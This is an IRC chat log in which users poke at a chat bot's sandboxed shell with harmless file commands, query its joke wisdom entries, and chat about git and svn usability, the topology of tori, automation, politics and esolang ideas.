total 0 \ drwxrwxrwt 2 0 0 40 Apr 17 19:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 19:08 .. 20:09:12 `` touch /tmp/test 20:09:13 No output. 20:09:15 `` file /tmp/test 20:09:15 ​/tmp/test: cannot open `/tmp/test' (No such file or directory) 20:09:31 wtf 20:09:39 readonly shenangins. 20:10:02 `` ls /usr/tmp/bak 20:10:03 ls: cannot access /usr/tmp/bak: No such file or directory 20:10:23 its readonly but no output on write try 20:10:50 `` touch /tmp/test 2>&1 1>o 20:10:52 No output. 20:10:53 `` cat o 20:10:54 No output. 20:10:57 `` rm o 20:10:58 quinor, UMLbox lol 20:10:59 No output. 20:11:06 it fakes it. 20:11:39 I see lol 20:14:49 There's a non-versioned persistent directory at tmp/ (technically /hackenv/tmp) if you want to fiddle around without cluttering the history. 20:15:01 (A little late now.) 20:15:25 hi, fizzie! 20:16:17 quinor, ^ may want to do so, history doesnt like shenangins. Besides, i tried a dirty cow a long time ago. 20:16:49 but it's too easy to lose tmp 20:17:19 if you want something permanant, then dont use tmp. 20:17:24 also, 20:17:26 `ls canary 20:17:27 canary 20:17:30 `cat canary 20:17:31 No output. 20:17:34 `rm canary 20:17:36 No output. 20:17:43 `cat canary 20:17:44 No output. 20:17:56 quinor, we have magical file syndrome that you will never delete. have fun. 20:18:31 /hackenv/tmp/ isn't really that hard to use until you want to move something out of there. If you never touch anything outside it, you don't get the consequences of the run-clean-rerun scheme. 20:19:01 Just don't try to "mv tmp/foo not-tmp/foo". 20:19:13 fizzie, what does it do? 20:19:17 `touch tmp/foo 20:19:18 No output. 20:19:18 yeah 20:19:24 `mv tmp/foo foo 20:19:24 mv: missing destination file operand after ‘tmp/foo foo’ \ Try 'mv --help' for more information. 20:19:26 Removes tmp/foo. 20:19:33 `` mv tmp/foo foo 20:19:35 mv: cannot stat ‘tmp/foo’: No such file or directory 20:19:39 heh 20:23:45 `unidecode ⇧ 20:23:46 ​[U+21E7 UPWARDS WHITE ARROW] 20:24:48 -!- Remavas-Hex has quit (Remote host closed the connection). 20:26:00 moonythedwarf: what a fun little sandbox 20:26:11 there is some magic in it 20:34:49 Blugh. Why does my brain hate me? 20:35:12 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 20:36:19 -!- Remavas-Hex has joined. 20:36:34 -!- Remavas-Hex has changed nick to Remavas. 20:37:06 -!- Remavas has changed nick to Remavas-Hex. 20:39:48 -!- Remavas-Hex has quit (Remote host closed the connection). 20:44:12 -!- Remavas-Hex has joined. 20:57:38 -!- otherbot has joined. 20:57:40 -!- otherbot has left. 20:58:46 -!- quinor has left ("Konversation terminated!"). 21:05:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:10:02 -!- nycs has joined. 21:11:08 -!- `^_^v has quit (Ping timeout: 255 seconds). 21:38:57 -!- hppavilion[1] has joined. 21:40:34 <\oren\> Argh if only svn log had a reverse order option I wouldn't have had to write a stupid perl script to do that 21:41:56 You could also see if tac will do? 21:45:34 \oren\: svn log -r 1:HEAD 21:46:05 May not be exactly equivalent to the default, but -r 1:HEAD and -r HEAD:1 seem to produce the same output except in mutually reversed order. 21:46:23 `5 w 21:46:32 1/2:emac//emacs is the weird brother of nano. \ oklopol//oklopol "so i hear these blogs are getting popular, people like writing about their lives and shit. on this thing called the internet which is like a neural network only really stupid." \ infinitive//Infinitives are atomic verbs. They were first split in the 1940s, and the world has 21:46:34 ` 21:46:35 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 21:46:43 `n 21:46:43 2/2:n't looked back since. \ tdnh//tdnh does not help \ atrix//Atrix is a brand of hand cream. Not to be confused with atriq. 21:46:57 `? atriq 21:46:58 atriq or two 21:47:01 `5 widsom 21:47:06 1/2:ß/ß/ is not a beat. Its' a "scahrfes S", aka s wiht a scraf. \ pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze//Pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze is the gerne of the Auotbahn alubm "Naeglbett" acocrding to htpt://thdeailywtf.co/maritcles/YoH-o%2cY-o-Ho2%c-A-iPra 21:47:28 `n 21:47:29 2/2:tes-Lief-fo-rLee . \ enlgand//Enlgand is a cosnpiracy of catrographers. \ stduy//A stduy is motsly usleess unitl bakced up by futrher stduies. See stduies. \ xyzzy//Nohting happens. 21:47:42 `? studies 21:47:43 Studies show lots of things. Nobody reads them, though. Also: this study contradicts this other study. These two studies agree, but were secretly paid for by the same company. 21:48:06 Has a dedicated IDE for Fungeoids ever been written? 21:48:33 it'd be cool, but rather horrible 21:48:38 `5 w 21:48:44 1/2:study//A study is mostly useless until backed up by further studies. See studies. \ dosh//The doshes are what the gostak distims. \ marriage//Marriage was made legal in the United States on 2015-06-26. \ copumpkin//copumpkin is categorically incapable of being president. \ glados//Hello, and again, welcome to the Aperture Science Comp 21:49:07 <\oren\> fizzie: oh... now why the heck isn't that documented in the output of svn help log... 21:49:13 `n 21:49:14 2/2:uter Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave. 21:49:20 \oren\: you could also use git-svn hth 21:49:21 Like, to be useful, you'd need (1) a way to choose which direction you type- perhaps ctrl+ makes your cursor move in that direction and (2), optionally, a way to rotate the display 21:49:43 <\oren\> shachaf: git is total crap in terms of useablity 21:50:28 at least it supports `git log --reverse` hth 21:50:39 Also I don't think git is that bad. It's pretty simple. 21:50:51 There are only a few dozen edge cases you have to memorize. 21:51:07 But if you prefer you can use hg-svn. 21:51:23 <\oren\> I'd prefer svn-git 21:51:50 <\oren\> that is, a way to interact with git using the same centralized paradigm as svn 21:52:19 I prefer fossil myself. 21:57:03 \oren\ comes across as a total asshole sometimes 21:57:05 <\oren\> I guess the ideal would be to have the simple commands and structure of svn and also have the *option* of local commits 21:59:02 i,i a fossil like \oren\? 21:59:31 -!- nycs has quit (Quit: This computer has gone to sleep). 22:00:48 <\oren\> I don't see how wanting simple commands for the most common case, where there's a central repository thst everyone checks out and commits to, is so controversial 22:01:20 I think central repositories are pretty good. 22:01:43 And I think git could be adapted to better support that use case in a few ways. 22:02:17 But in general it's pretty agnostic to this question? 22:02:33 You should learn how it works because the model has all sorts of benefits and things. 22:02:48 I think \oren\ wants a single command that does all of git pull; git commit -a; git push 22:03:42 (plus some handling of merging?) 22:04:18 <\oren\> correct 22:05:03 -!- orby_ has joined. 22:05:11 fizzie: Should git/hg use FUSE as the standard way to access your repository? 22:06:10 shachaf: I can see using that to update the index (although you'd still want a git add -p equivalent), but it seems awkward from an interface point of view to do commits that way 22:06:18 <\oren\> why can't git have a command, like git ci -m "fixed the bug where the index was off by one" 22:06:45 shachaf: hmm I'd be much worried about semantics... 22:06:48 perhaps commits could show up as directories and you'd do the equivalent of cp -r to make a commit? 22:06:57 I mean in addition to standard git commands, not replacing them. 22:07:11 fizzie knows what I mean. 22:07:34 For example you can have each branch be represented as a directory. 22:07:50 shachaf: I can see a sane read semantics, which would be cute 22:07:56 cd master; ...; cd ../branch_one; ... 22:08:01 but less sure about writing 22:08:25 <\oren\> ok how about git commit-to-central -m "fixed the bug" with short form git ctc 22:08:40 \oren\: What about sending your code for code review before committing? 22:08:43 I mean before pushing. 22:09:00 I'm thinking of something similar to CitC, as briefly described in https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext 22:09:44 <\oren\> shachaf: do you do that with your personal github projects? 22:09:57 When I can? 22:10:08 GitHub is a bad code review tool as far as I can tell. 22:10:13 I don't like GitHub very much. 22:10:20 Some people say it's gotten better. I haven't tried recently. 22:11:15 Anyway, if you have a big repository and you switch branches or something, it's a bit silly to write out a bunch of files to the filesystem. 22:11:26 Especially if you never use those files. Maybe you don't even need to fetch them from the remote! 22:11:58 Also, if you have a FUSE filesystem representing your repository, `git status` etc. can be instant because it knows about all the changes that have been made. 22:12:11 (I guess you could do something similar with inotify.) 22:12:23 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 22:12:30 \oren\: you could have a look at https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools#Version_Control_Interface_layers and see if any of those alternative frontends fit your bill better 22:13:40 Not everyone is using GitHub, I think. 22:21:42 -!- hppavilion[1] has joined. 22:23:46 * Zarutian wonders what a platonic liquid would look like. 22:24:36 `grwp -i klein 22:24:37 grep: invalid option -- ' ' \ Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information. 22:24:42 `` grwp -i klein 22:25:13 No output. 22:25:22 `quote klein 22:25:23 No output. 22:25:57 `? klein bottle 22:25:58 Zarutian: well I'd try filling it into a Klein bottle. 22:25:58 A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 22:26:10 hmm 22:26:17 `` grwp -i klein 22:26:20 `cat bin/grwp 22:26:21 ​#! /bin/bash \ cd wisdom; shopt -s dotglob; grep -R "$@" -- * 22:26:26 klein bottle:A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. \ tanebventions: math:Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, string diagrams, the reals, Lambek's lemma, Curry's paradox, algebraic geometry, locales, and histograms. 22:26:36 `? locale 22:26:37 Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. 22:26:43 `? histogram 22:26:45 Histograms are diagrams showing histamine levels. Taneb invented them. 22:27:03 `? the torus 22:27:04 Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his coffee out of. 22:27:58 ... oh I think I've got a handle on that wisdom entry. 22:28:02 Thanks for pinging me half a dozen times 22:28:05 -!- MoALTz has quit (Quit: Leaving). 22:28:17 Taneb: you're welcome 22:28:31 Fun fact: I don't drink coffee 22:29:31 `slwd the torus//s/coffee/preferred beverage/ 22:29:34 the torus//Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his preferred beverage out of. 22:30:05 I have a double-walled tea glass. 22:30:09 What is that, topologically? 22:30:31 Taneb: I think if I were you I'd ignore highlights coming from HackEgo :) 22:30:33 Does it have a handle 22:30:48 -!- Remavas-Hex has quit (Remote host closed the connection). 22:30:57 shachaf: I suspect it's the genus-2 solid that's embeddable in normal Euclidean space (there's only one of them) 22:30:59 int-e, that's quite a good idea 22:31:29 -!- Remavas-Hex has joined. 22:32:18 -!- Remavas-Hex has quit (Remote host closed the connection). 22:33:43 <\oren\> what would a torus with a torus removed from it be? 22:35:25 <\oren\> that is, an object with a toroid internal surface and toroid external surface, where the toroids can't be deformed into each other without passing through 22:36:23 nothing, a torus, a sphere, a genus 2 or three thing, or a hollow torus? 22:36:30 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:37:07 <\oren\> oh I see, genus is only applicable to surfaces, not the body contianed in the surface 22:37:13 (that was before the clarification. not sure whether the hollow torus has a name) 22:37:43 int-e: well if you punch a hole in it, it /becomes/ a torus (topologically), which rather implies it has genus 0; and yet it isn't a sphere 22:38:02 so I guess I was wrong in my previous guess 22:38:32 I guess you can change the coordinate system so it's equivalent to a (non-zero-thickness) plane, so perhaps it /is/ a sphere 22:39:04 (I'm thinking of the solids anyway, not the surfaces. so the genus 2/3 thing is the solid containd in the corresponding surface) 22:39:15 -!- `^_^v has joined. 22:39:43 <\oren\> I guess if something has two unconnected surfaces they have separate genera 22:39:48 oh it could become two spheres as well, I missed that case. 22:41:43 <\oren\> so a double-walled tea mug might have an external surface with genus 1 and a internal surface with genus 1, 0 or quite possibly 2 if the bottom is unhollow and the handle is hollow 22:42:05 actually I'm doing something funny... I'm looking at the difference of two rigit tori (defined by their euclidean geometry), topologically. 22:42:15 rigid 22:42:53 but even so there are two ways of embedding a torus inside another... 22:46:13 -!- ybden has quit (Quit: ybden). 22:46:46 -!- ybden has joined. 22:47:19 ybden: hi ybden 22:47:25 are you related to ibsen twh 22:48:20 I am not 22:48:22 shelloachaf 22:49:02 -!- boily has joined. 22:49:08 <\oren\> ok well, i guess the corresponding "genus" of a solid is the maximum number of surfaces you can cut it along befor it is disconnacted 22:49:11 `? vm 22:49:12 vm? ¯\(°​_o)/¯ 22:49:25 don't do it 22:49:35 `le//rn vm//VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. 22:49:38 Learned 'vm': VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding. 22:49:59 `revert 22:50:00 Done. 22:50:13 I'm sorry. 22:51:00 he\\oren\, helloochaf, *mapole rdococ*. 22:51:45 * rdococ is sorry for being alive 22:51:49 `? rdococ 22:51:51 rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 22:51:54 <\oren\> so, if the internal surface of the mug has genus 0, you can do one cut (the handle) without disconnecting, so I think it has genus 1 22:52:39 what counts as a cut, though, in this circumstance? 22:52:48 are cuts planar? 22:52:54 do you have to go all the way through? or just cut one wall of the double-walled torus? 22:53:10 boily: this isn't even an abstraction level at which planes exist 22:53:30 <\oren\> I think it needs to be a surface all of whose edges are on a surface of the solid 22:54:01 <\oren\> so yeah I think ypu can cut jsut one wall 22:54:55 that doesn't put all the edges on a surface, though 22:55:06 I don't think there's any way to even reach the inner cavity under those rules 22:55:28 I'm sorry. 22:55:30 unless you cut an annular hole in it, which feels like cheating in another way 22:55:48 rdococ: why apologise? 22:56:13 Because I'm a failure. 22:56:24 <\oren\> rdococ: exams? 22:56:31 No. 22:56:38 I feel like all I am to this community is a nuisance. 22:57:08 rdococ: there's plenty of reasons I don't idle here very often, but you aren't one of htem 22:58:01 <\oren\> Hmm, I think you can cut along any connected surface where all edges are curves on one of the solid's surfaces 22:58:20 \oren\: thus allowing an annular cut? 22:58:36 if you make an annular cut on a regular torus, you cut it into two pieces 22:58:46 <\oren\> I mean, if I have a knife and a tire I can slash around the edge of it 22:59:24 callforjudgement, if you knew me better, I would be. 22:59:29 <\oren\> callforjudgement: Oh. no, the cut has to be a connected surface 23:00:33 <\oren\> and yeah, a solid torus can be cut in two with one cut 23:01:00 <\oren\> but a hollow torus can be done in two cuts 23:01:51 <\oren\> because the first time you slit it open and form a solid torus 23:02:03 rdococ: I'm in a pretty bad state at the moment too; April tends to be a bad month for my mental state, and it's possible I'm ill with something 23:02:17 I feel really frustrated when I fail to accomplish anything even during a timespan as short as 2 days or so 23:02:27 and feel that I'm only just keeping up with my job and have no time for hobbies 23:02:39 Jobs are scow. 23:02:45 but I'll snap out of it eventually, and whatever's holding you up, you're going to work things out too 23:02:45 They use up so much energy. 23:02:52 <\oren\> a lot of the people I know are really screwed with exams right now 23:03:07 <\oren\> I'm glad I'm in the workforce instead 23:03:43 The workforce is scow and so are exams. 23:03:57 How long are you planning to be in the workforce? 23:04:23 rat race on an treadmill most work feels 23:04:24 I'm hoping to stay there quite a while 23:04:36 earning money is nice, and I have a job that I can enjoy sometimes 23:04:48 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 23:05:14 * Zarutian is mostly peeved how expensive all housing is where he lives. 23:05:54 <\oren\> shachaf: at least until 2040? 23:06:06 2040? Why? 23:06:40 I don't want to do either. 23:06:51 <\oren\> 2040 is when I estimate the pitchfork-weilding mobs will start lynching the people who replaced them with soulless androids 23:06:58 What has the human race done to themselves? 23:07:17 They treat their children like ****, they treat others like ****... 23:07:23 Everything is **** 23:07:40 \oren\: So wouldn't you want to leave the workforce a while before then? 23:07:41 <\oren\> which I might end up being involved in, so I need to move to the moon or something 23:07:48 rdococ: well, if you're recognising the problem, then you being around makes things better on average 23:07:50 Then you can enjoy being part of the oppressing class. 23:08:03 leaving only the worst people around isn't going to fix anything 23:08:08 callforjudgement: I guess that is true. 23:08:21 -!- `^_^v has quit (Quit: This computer has gone to sleep). 23:08:40 <\oren\> I mean, I'm scared of jobless truckers with nothing to lose 23:08:51 -!- DHeadshot has joined. 23:09:09 <\oren\> and they'll be just the first to be replaced with AI 23:09:37 \oren\: at some point we're going to have to decouple income from jobs, most likely; as long as society has enough wealth total to provide for everyone – and automation shouldn't reduce that – it's simply a case of finding a fair way to distribute money in cases where we can't base it on work (because there isn't enough work) 23:10:07 Maybe income should be based on actual needs. 23:10:21 <\oren\> rdococ: you should read Das Kapital 23:10:26 If you don't want a lot, then you don't get a lot - it's fine, because that would be what you want. 23:10:52 <\oren\> the marxist slogan was "from each according to his ability, to each according to his needs" 23:11:08 my personal hope is that we end up advancing science and the like so far and so fast, that there's so much wealth to go around that everyone can have all they want, within reason 23:11:26 callforjudgement: What about people who want all of it? 23:11:40 <\oren\> and now I'll be accused of being a marxist instead of being accused of being an objectivist 23:12:00 What would be wrong with being a marxist? 23:12:06 shachaf: well if there are even two such people, it wouldn't work, therefore it's objectively an unreasonable request :-P 23:12:24 <\oren\> rdococ: nothing really... 23:12:28 rdococ: I wonder if \oren\ is American, marxists and objectivists are associated with different ends of the political spectrum there 23:12:30 * Zarutian notes that Karl Marx was a right-wing Socialist. 23:12:47 Are North Americans American? 23:12:56 Anyway, of course it's unreasonable. 23:13:14 -!- erkin has quit (Remote host closed the connection). 23:13:48 Zarutian: now that is kind of odd. 23:13:54 <\oren\> callforjudgement: I'm canadian. the context is that earlier in a discussion with rdococ, the idea that mandatory schooling is comparable to slavery came up and someone accused me of being a Ayn Rand zealot 23:14:29 <\oren\> I should find it in logs... 23:14:34 From communism's definition, you'd think it was more left-wing than right-wing. 23:14:48 (I know that, because I did think that.) 23:15:33 rdococ: not so much when you look into history in detail. And please note right-wing is meant in the royalists|elite|centralizationist sense. 23:15:43 Zarutian: ik 23:16:19 What we need is a left-winged version of communism. 23:17:07 rdococ: like its original? 23:17:21 Zarutian, depends what the original is, I guess. 23:17:32 rdococ: decentralized co-operatives without coercion. 23:17:48 Er... 23:18:01 k 23:19:25 The word itself sounds like it comes from - which wouldn't be a bad name for a left-wing ideology. 23:19:41 <\oren\> found it 23:19:43 <\oren\> 16:05:16 \oren\, fuck me are you an objectivist 23:19:54 <\oren\> 16:05:30 <\oren\> Phantom_Hoover: No, I'm a TROLL 23:20:01 <\oren\> lol 23:20:58 but then again communism got hi-jacked by persons like Lenin. Which is something of a problem that must be addressed. Basically how to defend against Cult Of Personality. 23:21:25 It still seems senseless that Marx was right-wing. 23:22:02 -!- DHeadshot has quit (Ping timeout: 252 seconds). 23:22:15 Zarutian: this appears to be a problem for all forms of government, and finding a fix to it (that doesn't cause even worse problems as a side effect) would be very helpful to humanity in the future, I suspect 23:22:24 What's wrong with Lenin? 23:23:17 It's hard to come up with an original -ism. 23:23:58 callforjudgement: well, something like psuedonymous liquid democracy where proposals can be submitted anonymously (yet still rate limited to prevent spamming) might be a tentative start. 23:26:14 callforjudgement: basically let ideas, proposals and such battle unaided. Techniques for filtering or being at least aware of biases might be learned from lesswrong or other places that have studied applied cogniative techniques. 23:26:39 the problem is, what if a proposal ends up being blasted over the media or something like that? 23:27:17 or is worded to look good on the surface, but doesn't work if you think about it more deeply 23:27:31 or benefits the majority of people at the expense of a minority 23:28:17 callforjudgement: this is why certain places of deep political discurse is not publically accessable or even known about. 23:28:57 callforjudgement: basically, Speak Easies but for this kind of stuff. 23:36:42 -!- orby has quit (Ping timeout: 260 seconds). 23:46:43 `wisdom 23:46:46 tht//THT is short for tails-heads-tails, a possible outcome of flipping three coins. It's the opposite of HTH. 23:46:55 -!- hppavilion[1] has joined. 23:46:58 -!- boily has quit (Quit: VIEW CHICKEN). 23:47:14 Aww 23:47:16 Missed boily 23:47:28 `? HTH 23:47:29 hth ([ʰtʰh̩]) is help received from a hairy toe. It is not at all hambiguitous. 23:47:40 `? hthth 23:47:41 hthth? ¯\(°​_o)/¯ 23:47:43 I WON'T 23:47:51 >_M 23:47:52 <* 23:47:53 `tmflry hth 23:47:54 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory 23:48:00 `tomfoolery hth 23:48:01 hth means "hope that helps" 23:48:04 rdococ: ^ 23:48:08 ik what it means! 23:48:11 ugh 23:48:16 rdococ: OK. htha 23:48:19 god help me, give me a better idea for esostuff 23:48:40 I did have the idea of a sound chip that could only produce sine waves 23:48:57 maybe it could go with Teriyaki? 23:49:33 rdococ: I propose that chip or functionality to be named SINfull 23:49:42 whyzat? 23:50:01 Oh. 23:50:02 duh. 23:50:15 * rdococ has lost the plot today :P 23:50:45 of on an tangent, eh? Better square up then. 23:50:47 rdococ: Have you thought about making an esolang that could have real applications? One that takes the typical assumptions of mainstream programming languages and breaks them, creating a language with actual uses due to its eschewing of troublesome conformities? 23:51:46 I would love to be able to come up with an idea that could actually do that. 23:52:00 Zarutian: har har :P 23:52:23 I'm thinking about logic gates... I think a nice definition of the general concept is that a (g)logic gate is a function with a finite domain and codomain 23:52:42 that sounds about right 23:53:20 rdococ: I've spent years trying and haven't really succeeded (arguably because I'm aiming to find new models of programming, rather than merely make a practical esolang); but I keep trying, because I only really have to succeed once 23:53:30 Oh, hello ais523 23:54:08 The problem is, I have trouble coming up with new models of programming. 23:54:14 so does everyone 23:54:17 Ah. 23:54:23 it's not easy, or it'd be done more often 23:54:26 True. 23:55:34 "Declarative programming is when you say what you want, and imperative language is when you say how to get what you want." 23:56:09 What about when you say why you want it? 23:56:21 Nah. 23:56:27 That's dumb. 23:56:46 even dumb ideas lead to interesting languages sometimes 23:56:53 "why" information is mostly useful in optimizers 23:57:03 That is true. 23:57:07 so I wonder what a language which consisted entirely of optimizer hints would be like, with no actual code to be hinting on 23:57:59 Honestly, to me it just sounds like it would be a declarative language with strange syntax. 23:58:29 imagine the "how" or "what" was blank, and the "why" is "because I want to calculate the first ten digits of pi" or something. 23:58:59 nah, go up one level higher; the "why" is "because I'm implementing ISO standard xxxx" 23:59:37 I guess what you'd end up with would be a language that's based not around algorithms (imperative), nor around test cases (declarative), but around APIs 23:59:54 sorry if I'm not being very clear